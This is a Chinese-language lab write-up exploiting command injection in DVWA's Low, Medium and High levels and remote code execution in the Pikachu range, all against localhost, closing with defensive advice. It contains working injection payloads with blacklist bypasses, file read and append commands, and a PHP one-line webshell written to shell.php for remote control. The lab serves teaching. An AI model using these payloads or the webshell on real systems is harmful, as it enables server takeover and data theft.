一、实验目的
通过 DVWA 的 Command Injection 模块和Pikachu 靶场中的 RCE 模块,理解:
- 什么是命令执行漏洞;
- 什么是代码执行漏洞;
- 如何通过参数拼接执行系统命令;
- 漏洞产生的原因;
- 如何进行简单验证和防御分析。
二、DVWA 靶场中的Command Injection 模块
登录 DVWA:浏览器访问 127.0.0.1/DVWA,登录并在左侧菜单选择 "Command Injection"。
一)Low 级别实验
1. 源码分析
Low 级别完全没有对用户输入进行任何过滤。它直接获取用户的 IP,并拼接到 ping 命令中通过 shell_exec() 执行。
2. 漏洞利用:在输入框输入命令查看结果。
(1)输入 IP 地址 127.0.0.1,点击 submit 按钮提交

结果分析:输入 127.0.0.1:正常执行 ping,返回网络连通信息。
(2)输入 127.0.0.1&ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1&ipconfig:& 表示无论 ping 成功与否都执行后续命令,ping 与 ipconfig 结果均输出,漏洞明显。
(3)输入 127.0.0.1&&ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1&&ipconfig:&& 表示前命令成功才执行后者,ping 成功后输出 ipconfig,可执行系统命令。
(4)输入 127.0.0.1|ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1|ipconfig:| 管道符只显示 ipconfig 结果,ping 输出被覆盖,执行恶意命令更隐蔽。
(5)输入 127.0.0.1||ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1||ipconfig:|| 表示前命令失败才执行后者,ping 成功,不执行 ipconfig。
(6)输入1||ipconfig,点击 submit 按钮提交

结果分析:输入 1||ipconfig:ping 0.0.0.1 失败,触发 || 执行 ipconfig,成功绕过。
结论 :Low 无任何过滤,直接拼接执行,命令注入漏洞完全暴露。
二) Medium 级别实验
1. 源码分析
Medium 级别引入了黑名单机制,代码如下:
$substitutions = array( '&&' => '', ';' => '', );
它将 && 和 ;(Linux常用)替换为空字符串。
2. 漏洞利用:绕过命令执行漏洞防范措施,在输入框输入命令查看结果。
(1)输入 127.0.0.1&ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1&ipconfig:可执行,& 不在黑名单。
(2)输入 127.0.0.1&&ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1&&ipconfig:&& 被替换为空,IP 与命令拼接成无效地址,执行失败。
(3)输入 127.0.0.1|ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1|ipconfig:| 未被过滤,直接执行 ipconfig。
(4)输入 127.0.0.1||ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1| |ipconfig:| |未被过滤,直接执行 ping。
(5)输入1||ipconfig,点击 submit 按钮提交

结果分析:1||ipconfig:ping 失败,执行 ipconfig。
3. 利用命令执行漏洞读取文件及文件内容
(1)在输入框中输入 127.0.0.1|dir d:\,将看到 d 盘中文件

结果分析:目录 / 文件操作:127.0.0.1|dir d:\ 可列目录,展现目标主机磁盘目录。
(2)在输入框中输入 127.0.0.1|type d:\a.txt >> d:\shell.txt (a.txt和 shell.txt为 d 盘下的已有的文件),查看文件内容是否发生改变

结果分析:1. 输入 payload :127.0.0.1|type d:\test.txt >> d:\lcy.txt
2.操作效果:提交请求后,d:\lcy.txt 文件中成功追加了 d:\test.txt 中的内容 1234 ,文件内容发生了预期改变。
3.截图验证:lcy.txt 中原有内容 1111 下方新增了一行 1234 ,与 test.txt 的内容完全一致,证明命令执行成功。
三)High 级别实验
1. 源码分析
High 级别的黑名单更加严格,代码类似于:
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // 注意|后面有一个空格!
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
2. 漏洞利用
通过仔细观察源码发现,开发者在替换 | (竖线+空格)时留下了逻辑缺陷。如果在 | 后面紧跟命令而不加空格,就可以绕过。
输入:127.0.0.1|ipconfig

结果分析:从截图可以看到,输入 127.0.0.1|ipconfig 后,页面成功返回了完整的 ipconfig 命令执行结果,包含本机的所有网卡配置信息(IPv4 地址、子网掩码、网关等),说明命令注入漏洞在 High 级别下被成功绕过,ipconfig 命令被正常执行。
三、Pikachu 靶场中的 RCE 模块
进入 Pikachu 后,在左侧菜单中找到"RCE",包含两个实验模块:
- exec "ping":模拟远程命令执行漏洞;
- exec "eval":模拟远程代码执行漏洞。
一)远程系统命令执行(exec "ping")
访问 Pikachu 靶场,点击左侧菜单栏的 RCE -> exec "ping"。在这个实验中,后台模拟了一个 Ping 工具,接收用户输入的 IP 地址,并与系统的原生ping 命令进行拼接执⾏。
1. 常规功能测试
在输入框内输入正常的 IP 地址,例如本机的回环地址:127.0.0.1

结果分析:输入 127.0.0.1 是本地回环地址,代表 "本机",网络连通性正常,因此 ping 命令得到了正常响应。
后端代码将用户输入的 IP 地址直接拼接到系统 ping 命令中执行。
2. 构造恶意 Payload 并拼接命令
测试系统身份:在输入框中填入 127.0.0.1 | whoami

结果分析:输入 127.0.0.1|whoami :返回当前用户,获取服务器权限信息。
查看系统网络:输入 127.0.0.1 & ipconfig

结果分析:输入 127.0.0.1&ipconfig:同时输出 ping 与网卡信息,漏洞可利用。
二)远程代码执行(exec "eval")
访问靶场,点击 RCE -> exec "eval"。这个实验的模拟场景是开发人员滥用了 PHP 环境中的 eval() 函数。该函数会将括号里输入的任意字符串当做 PHP 代码来解析和运行。
1. 模块环境确认
输入框中输入经典的 PHP 探针函数:
phpinfo();
点击提交。

结果分析:输入 phpinfo();:成功返回 PHP 环境信息,确认代码执行漏洞。
2.通过代码执行系统命令
返回输入界面,利用 PHP 的 system() 执行系统层级命令。在输入框输入:
system('ipconfig');
提交后**,保存截图并分析结果。**

结果分析:输入 system('ipconfig');:以 PHP 代码调用系统命令,成功获取网络信息。
3.写入 WebShell / 一句话木马
通过代码执行,直接在 Web 根目录下植入木马文件,便于后续使用蚁剑 (AntSword) 或冰蝎进行连控制。输入以下 Payload:
fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]);?>');
提交后**,保存截图并分析结果。**

结果分析:写入木马: fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]);?>'); 成功生成一句话木马。
**再次输入:**fputs(fopen('evil.php','w'),'<?php phpinfo();?>');
查看WWW\pika\vul\rce文件中是否生成文件evil.php.

访问:http://127.0.0.1/pika/vul/rce/evil.php

保存访问结果截图并分析结果。
结果分析:1. 写入探针: fputs(fopen('evil.php','w'),'<?php phpinfo();?>'); 成功生成文件,访问可正常解析。
2.结论: eval () 无限制使用,可直接写文件、拿服务器权限,危害极大。
四、实验小结
- 漏洞原理
- 命令注入:后端未校验用户输入,直接将参数拼接到系统命令中执行。
- 代码执行:不安全使用 eval()、system() 等函数,用户输入被当作代码运行。
- 核心原因:信任用户输入、过滤不严、黑名单不完整、过滤逻辑缺陷。
2.连接符作用(Windows )
- &:前后命令都执行
- &&:前成功后才执行
- |:只显示后一条结果
- ||:前失败后才执行
3.防护弱点总结
- Low:无防护 → 完全可利用
- Medium:黑名单不全 → 轻易绕过
- High:黑名单有逻辑缺陷 → 仍可绕过
- Pikachu:无过滤 → 高危漏洞
4.安全防御措施
- 禁用 / 限制 system()、exec()、eval() 等危险函数。
- 使用白名单校验 IP、域名等输入格式,不使用黑名单。
- 对用户输入转义特殊字符,如 &、|、;、% 等。
- 命令执行使用安全接口,不直接拼接用户参数。
- 网站目录最小权限,上传目录禁止脚本执行权限。
- 日志记录命令执行行为,便于审计与入侵发现。